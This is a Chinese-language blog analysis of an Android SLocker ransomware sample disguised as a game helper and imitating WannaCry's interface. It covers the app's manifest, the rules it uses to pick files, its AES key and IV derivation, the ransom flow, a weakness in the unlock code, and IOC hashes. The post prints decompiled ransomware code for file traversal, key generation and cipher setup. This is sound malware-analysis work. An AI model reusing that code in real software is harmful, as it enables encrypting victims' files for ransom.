样本下载:
http://appscan.io/app-report.html?id=d72ca5ca1e7dc6431c041bfc6d7e3f9bfa39959c
分析:
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/
下载之后校验一下hash,查看一下文件类型

然后如果直接把它当成zip文件解压,会有一些加固的东西,可以用jadx-gui打开这个apk格式的文件。

伪装成 “王者荣耀辅助”的名字和图标,模仿WannaCry的界面

他在AndroidManifest.xml文件中声明了两个带有启动入口属性的Activity
com.android.tencent.zdevs.bah.MainActivitycom.android.tencent.zdevs.bah.QQ1279525738

其中com.android.tencent.zdevs.bah.MainActivity默认是enabled,而com.android.tencent.zdevs.bah.QQ1279525738初始为禁用(android:enabled="false")状态。
它有这样的属性

android:name="com.android.tencent.zdevs.bah.QQ1279525738"
android:enabled="false"
android:targetActivity="com.android.tencent.zdevs.bah.MainActivity"

当满足某个条件时,它会禁用掉MainActivity,而开启QQ1279525738。同时更换Lancher上的图标。

这些操作都是在MainActivity的入口onCreate()中进行的。这个方法的最后一步(当该做的事都做完了之后)完成的

加密文件的步骤

ransomware 安装之后,它会检查它之前有没有被安装果。如果没有,它就会生成一个随机数,然后把它存储在SharedPreferences(一个.xml文件)中,这个文件可以用来存储app的持久型数据。然后它就会找到设备的外部存储设备,然后开一个新线程。
新线程会查找外部存储器,然后查看满足某种条件的文件:
1. 文件完整路径的小写不能包含“/.”, “android”, “com.” and “miad”
2. 以external storage为root路径,查找其三层目录,从中找出包含“baidunetdisk”, “download” 或者“dcim”的目录。
3. 文件名必须包含“.”(即文件名必须有后缀) ,而且加密后的文件名的大小必须小于251个字节。
4. 文件本身大小必须在10 KB和50MB之间

可以看出ransomware 不加密系统文件,而主要着眼于默认下载目录的文件和图片,而且只会加密有后缀名的文件(文本,图片,视频)。
当找到满足这些条件的 文件的时候,这个线程就会使用ExecutorService(Java中用来执行异步task的API)来执行一个新的task。

部分逻辑:

ExecutorService executorService;
if (i2 == 0) {try {if (file3.isFile() && r10.equals(MainActivity.hz) && file3.toString().indexOf("/.") == -1 && file3.getName().indexOf(".") != -1) {executorService = executorService;AnonymousClass100000001 anonymousClass100000001 = r20;AnonymousClass100000001 anonymousClass1000000012 = new AnonymousClass100000001(file3, str2, i2, context2);executorService.execute(anonymousClass100000001);} else if (file3.isDirectory() && file3.toString().indexOf("/.") == -1 && file3.toString().toLowerCase().indexOf("android") == -1 && file3.toString().toLowerCase().indexOf("com.") == -1 && file3.toString().toLowerCase().indexOf("miad") == -1 && !(jd(file3.toString()) >= 3 && file3.toString().toLowerCase().indexOf("baidunetdisk") == -1 && file3.toString().toLowerCase().indexOf("download") == -1 && file3.toString().toLowerCase().indexOf("dcim") == -1)) {deleteDirWihtFile(file3, str2, i2, context2);}} catch (Exception e) {Exception exception = e;}} else {if (file3.isFile() && !r10.equals(MainActivity.hz) && file3.toString().indexOf("/.") == -1 && file3.getName().indexOf(".") != -1 && file3.length() > ((long) 10240) && file3.length() <= ((long) 52428800)) {StringBuffer stringBuffer = r20;StringBuffer stringBuffer2 = new StringBuffer();if (zjs(stringBuffer.append(file3.getName()).append(MainActivity.hz).toString()) <= 251) {bb = 1 + bb;executorService = executorService;AnonymousClass100000002 anonymousClass100000002 = r20;AnonymousClass100000002 anonymousClass1000000022 = new AnonymousClass100000002(file3, str2, i2, context2);executorService.execute(anonymousClass100000002);}}if (file3.isDirectory() && file3.toString().indexOf("/.") == -1 && file3.toString().toLowerCase().indexOf("android") == -1 && file3.toString().toLowerCase().indexOf("com.") == -1 && file3.toString().toLowerCase().indexOf("miad") == -1 && !(jd(file3.toString()) >= 3 && file3.toString().toLowerCase().indexOf("baidunetdisk") == -1 && file3.toString().toLowerCase().indexOf("download") == -1 && file3.toString().toLowerCase().indexOf("dcim") == -1)) {deleteDirWihtFile(file3, str2, i2, context2);}}

新的task会调用一个叫做getsss()的方法生成一个基于之前产生的随机数的cipher(秘钥)。这个方法计算这个随机数的md5值,然后然后从这个md5值的16进制表示中选择16个字符串。字符串生成后,ransomware 会将它传到SecretKeySpec用来构造最终用来对文件进行加密的AES key。

    public static final String getsss(String str) {char[] cArr = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};try {byte[] bytes = str.getBytes();MessageDigest instance = MessageDigest.getInstance("MD5");instance.update(bytes);char[] cArr2 = new char[(r6 * 2)];int i = 0;for (byte b : instance.digest()) {int i2 = i;i++;cArr2[i2] = cArr[(b >>> 4) & 15];i2 = i;i++;cArr2[i2] = cArr[b & 15];}String str2 = r17;String str3 = new String(cArr2);return str2.toString().substring(8, 24);} catch (Exception e) {e.printStackTrace();return (String) null;}}

可能不同样本的 这个方法的内容不同?
那就再看看另一款相关的应用吧
王者荣耀前瞻版
http://appscan.io/app-report.html?id=ca2e7c66b9eedf95f51204cea8cd2e13ba2a5d93
除了大小有些不同之外(可能是新加了一些逻辑?)

注意这些r目录中的.acc文件不知道是干嘛的

用jadx-gui打开之后基本上还是同样的味道。

参考
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/
的分析中的图片

然而上面这个解密后的几行代码无法通过jadx-gui解密出来,
jadx出现了很多错误,

之后我人工判断,参考别人分析出来的代码,分析出大概这样的逻辑,

public static java.io.File encryptFile(String str1, String pFileName, String str3) {v6 = new FileInputStream(pFileName);v7 = new FileOutputStream();v15 = new javax.crypto.CipherInputStream(v6, sss.initAESCipher(str1, 1));

能找到这个CipherInputStream,但是并不能解密。

    /* JADX WARNING: inconsistent code. *//* Code decompiled incorrectly, please refer to instructions dump. */public static java.io.File encryptFile(java.lang.String r25, java.lang.String r26, java.lang.String r27) {/* JADX: method processing error */
/*
Error: java.lang.NullPointerExceptionat jadx.core.dex.visitors.regions.ProcessVariables.addToUsageMap(ProcessVariables.java:284)at jadx.core.dex.visitors.regions.ProcessVariables.access$000(ProcessVariables.java:36)at jadx.core.dex.visitors.regions.ProcessVariables$CollectUsageRegionVisitor.processInsn(ProcessVariables.java:169)at jadx.core.dex.visitors.regions.ProcessVariables$CollectUsageRegionVisitor.processBlockTraced(ProcessVariables.java:135)at jadx.core.dex.visitors.regions.TracedRegionVisitor.processBlock(TracedRegionVisitor.java:23)at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:53)at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverse(DepthRegionTraversal.java:18)at jadx.core.dex.visitors.regions.ProcessVariables.visit(ProcessVariables.java:187)at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:31)at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:17)at jadx.core.ProcessClass.process(ProcessClass.java:37)at jadx.core.ProcessClass.processDependencies(ProcessClass.java:59)at jadx.core.ProcessClass.process(ProcessClass.java:42)at jadx.api.JadxDecompiler.processClass(JadxDecompiler.java:306)at jadx.api.JavaClass.decompile(JavaClass.java:62)
*//*r2 = r25;r3 = r26;r4 = r27;r20 = 0;r20 = (java.io.FileInputStream) r20;r6 = r20;r20 = 0;r20 = (java.io.FileOutputStream) r20;r7 = r20;r20 = 0;r20 = (java.io.File) r20;r8 = r20;r20 = 0;r20 = (java.io.File) r20;r9 = r20;r20 = new java.io.File;  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r22 = r3;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r9 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = new java.io.File;  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r22 = r4;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r8 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r9;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r20.exists();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }if (r20 == 0) goto L_0x00cc;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }L_0x0044:r20 = r9;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r20.isFile();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }if (r20 == 0) goto L_0x00cc;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }L_0x004c:r20 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r20.getParentFile();   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r20.exists();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }if (r20 != 0) goto L_0x0062;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }L_0x0058:r20 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r20.getParentFile();   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r20.mkdirs();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }L_0x0062:r20 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r20.createNewFile();   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = new java.io.FileInputStream;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r22 = r9;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r6 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = new java.io.FileOutputStream;  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r22 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r7 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r2;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21 = 1;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = initAESCipher(r20, r21);   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r14 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = new javax.crypto.CipherInputStream;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r22 = r6;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r23 = r14;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21.<init>(r22, r23);    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r15 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = 1024; // 0x400 float:1.435E-42 double:5.06E-321;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r0 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r0 = new byte[r0];   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r0;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r16 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = 0;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r17 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }L_0x00af:r20 = r15;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21 = r16;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r20.read(r21);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r17 = r21;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r21 = -1;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r0 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r1 = r21;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }if (r0 != r1) goto L_0x00db;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }L_0x00c7:r20 = r15;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20.close();     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }L_0x00cc:r20 = r7;r20.close();     Catch:{ IOException -> 0x0120 }L_0x00d1:r20 = r6;r20.close();     Catch:{ IOException -> 0x0129 }L_0x00d6:r20 = r8;r2 = r20;return r2;L_0x00db:r20 = r7;r21 = r16;r22 = 0;r23 = r17;r20.write(r21, r22, r23);    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20 = r7;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }r20.flush();     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }goto L_0x00af;L_0x00ec:r20 = move-exception;r14 = r20;r20 = r14;r20.printStackTrace();   Catch:{ all -> 0x00fe }goto L_0x00cc;   Catch:{ all -> 0x00fe }L_0x00f5:r20 = move-exception;    Catch:{ all -> 0x00fe }r14 = r20;   Catch:{ all -> 0x00fe }r20 = r14;   Catch:{ all -> 0x00fe }r20.printStackTrace();   Catch:{ all -> 0x00fe }goto L_0x00cc;L_0x00fe:r20 = move-exception;r10 = r20;r20 = r7;r20.close();     Catch:{ IOException -> 0x010e }L_0x0106:r20 = r6;r20.close();     Catch:{ IOException -> 0x0117 }L_0x010b:r20 = r10;throw r20;L_0x010e:r20 = move-exception;r18 = r20;r20 = r18;r20.printStackTrace();goto L_0x0106;L_0x0117:r20 = move-exception;r18 = r20;r20 = r18;r20.printStackTrace();goto L_0x010b;L_0x0120:r20 = move-exception;r18 = r20;r20 = r18;r20.printStackTrace();goto L_0x00d1;L_0x0129:r20 = move-exception;r18 = r20;r20 = r18;r20.printStackTrace();goto L_0x00d6;*/throw new UnsupportedOperationException("Method not decompiled: com.android.tencent.zdevs.bah.sss.encryptFile(java.lang.String, java.lang.String, java.lang.String):java.io.File");}

然而其中的关键的加解密文件的逻辑已被混淆

加密函数:

解密函数:

其中initAESCipher()函数:

    private static Cipher initAESCipher(String str, int i) {String str2 = str;int i2 = i;Cipher cipher = (Cipher) null;try {IvParameterSpec ivParameterSpec = r11;IvParameterSpec ivParameterSpec2 = new IvParameterSpec("QQqun 571012706 ".getBytes());IvParameterSpec ivParameterSpec3 = ivParameterSpec;SecretKeySpec secretKeySpec = r11;SecretKeySpec secretKeySpec2 = new SecretKeySpec(str2.getBytes(), "AES");SecretKeySpec secretKeySpec3 = secretKeySpec;cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");cipher.init(i2, secretKeySpec3, ivParameterSpec3);} catch (NoSuchAlgorithmException e) {e.printStackTrace();} catch (NoSuchPaddingException e2) {e2.printStackTrace();} catch (InvalidKeyException e3) {e3.printStackTrace();} catch (InvalidAlgorithmParameterException e4) {e4.printStackTrace();}return cipher;}


对满足条件的文件加密完成后,会在该文件名后面加后缀。后缀包括一个QQ号和一个用于生成cipher的随机数。

ransomware提供了三个支付ransom的方法,但是经过测试发现这三种方法都指向同一个二维码

扫描这个二维码即可通过QQ来付款。如果三天之内不付款,ransom就会增加,并且威胁后在一周后删除所有加密的文件。
ransomware说如果收到ransom,则会下发一个解密的key。然而我们通过分析发现,当受害者点击Decrypt按钮时,ransomware会将输入的值与MainActivity.m的值进行比较。而通过track MainActivity.m,我们发现这个值其实就是之前提到的那个随机数 + 520

下面是分析文章中提到的变种,逻辑发生了变化(不是简单的加520了)。

有些变种还加了壳

Indicators of Compromise (IOCS)

200d8f98c326fc65f3a11dc5ff1951051c12991cc0996273eeb9b71b27bc294d com.android.tencent.zdevs.bah 王者荣耀辅助
2ffd539d462847bebcdff658a83f74ca7f039946bbc6c6247be2fc62dc0e4060 com.android.tencent.zdevs.bah 千变语音
36f40d5a11d886a2280c57859cd5f22de2d78c87dcdb52ea601089745eeee494 com.android.tencent.zdevs.bah 王者荣耀前瞻版
c347e09b1489c5b8061828526f4ce778fda8ef7fb835255914eb3c9268a265bf com.android.tencent.zdevs.bah 千变语音秀
cb0a18bcc8a2c9a966d3f585771db8b2e627a7b4427a889191a93b3a1b261ba3 com.android.tencent.zdevs.bah 主流影视大全
参考这个系列的:
http://appscan.io/monitor.html?id=593f737b02723840264c3c5a

这几个系列的文件大小差不多

Android malware样本SLocker Mobile Ransomware相关推荐

  1. 安卓恶意代码数据集(Android Malware and Benign apps)整理

    因为最近想做一些简单的实验,而自己之前收集的数据找不着了,所以又看了看别人的推荐,发现ResearchGate上这个讨论里有些回答还是总结得很好的: https://www.researchgate. ...

  2. iphone android 开发指南 http://mobile.tutsplus.com

    非常好的教程 iphone& android 开发指南 http://mobile.tutsplus.com/category/tutorials/iphone/ http://mobile. ...

  3. Using Markov Chains for Android Malware Detection

    If you're chatting with someone, and they tell you "aslkjeklvm,e,zk3l1" then they're speak ...

  4. Android Tv app 与 mobile app 界面呈现的区别

    公司的一个项目是android tv的谢了片日报总结: android tv app呈现ui 与手机app的区别 android tv  app和 mobile app 的主要区别在表现形式上 1.焦 ...

  5. android 外文期刊_AndroSimilar: Robust signature for detecting variants of Android malware

    [摘要]Android Smartphone popularity has increased malware threats forcing security researchers and Ant ...

  6. app pour android,Comment configurer Dell Mobile Connect pour Android

    Cet article fournit un guide pour configurer un ordinateur Dell et un téléphone Android exécutant le ...

  7. paper—HAWK: Rapid Android Malware Detection Through Heterogeneous Graph Attention Networks

    通过异构图形注意网络快速检测Android恶意软件 目录 摘要 一.引言 二.背景和概述 A.动机和问题范围 B.我们的HAWK方法 三.基于HIN的数据建模 A.特征工程 B.构建HIN C.从HI ...

  8. jquery mobile android浏览器,使用JQuery Mobile实现手机新闻浏览器

    [IT168 专稿]jQuery Mobile项目是jQuery项目下的在移动开发方面的又一力作,在本文中,笔者将带你一步步更深入学习使用jQuery Mobile框架去实现一个能在android手机 ...

  9. jquery mobile android浏览器,使用jQuery Mobile实现手机新闻浏览器(第三章)

    在本教程的前两篇文章中,笔者分别向大家介绍了使用jQuery Mobile框架如何去设计手机新闻浏览器,其中实现了一个WEB版本的新闻浏览器,在本教程的***一篇中,将讲解如何将已实现的web版本的新 ...

最新文章

  1. 新浪微博推广网站的一些实践体会
  2. Python--练习及面试题
  3. sqlsourcesafe mysql_mysql权限问题,看不到其它的库!
  4. CommonJS/AMD/CMD/UMD
  5. C#数据库事务原理及实践(下)
  6. composer设置代理_composer 设置代理
  7. OD(Ollydbg)简介
  8. android build.time,Android SDK中的恒定Build.TIME
  9. ipconfig /flushdns 清除系统DNS缓存
  10. RESTFULL 03 rest-framework视图
  11. idea运行android usb调试,IntelliJ IDEA
  12. css中换行的几种方式
  13. 华为主题锁屏壁纸换不掉_华为手机总出现一些不明照片咋回事,原来你没关闭这个默认设置...
  14. vue json对象转数组_vue组件间通信六种方式(完整版)
  15. 2020程序设计竞赛-现场赛题解
  16. asm bin hex elf文件区别
  17. office插件开发_linux常用软件(开发设计必备)
  18. php 公众号推送图片尺寸,微信公众号发图文消息图片的尺寸是多少为好?
  19. XRecycleView (Scrapped or attached views may not be recycled)
  20. window专业版激活

热门文章

  1. 盲盒小程序的开发功能介绍,优势有哪些
  2. 创业公司路演PPT模板
  3. 微信小程序应该这样开发
  4. 笔试题6——幸福数字
  5. IOS锁屏状态播放音乐时显示专辑信息和图片
  6. 蒙提霍尔问题及其推广
  7. 阿里国际站装修尺寸是多少1920像素模板阿里巴巴全屏代码装修教程优化美化店铺工具
  8. 微信支付记录删除后怎么恢复?赶紧收藏这两个小技巧
  9. QQ互联第三方登录多应用用户登录打通
  10. 基于微信小程序的单词记忆系统(Java+SSM+MySQL)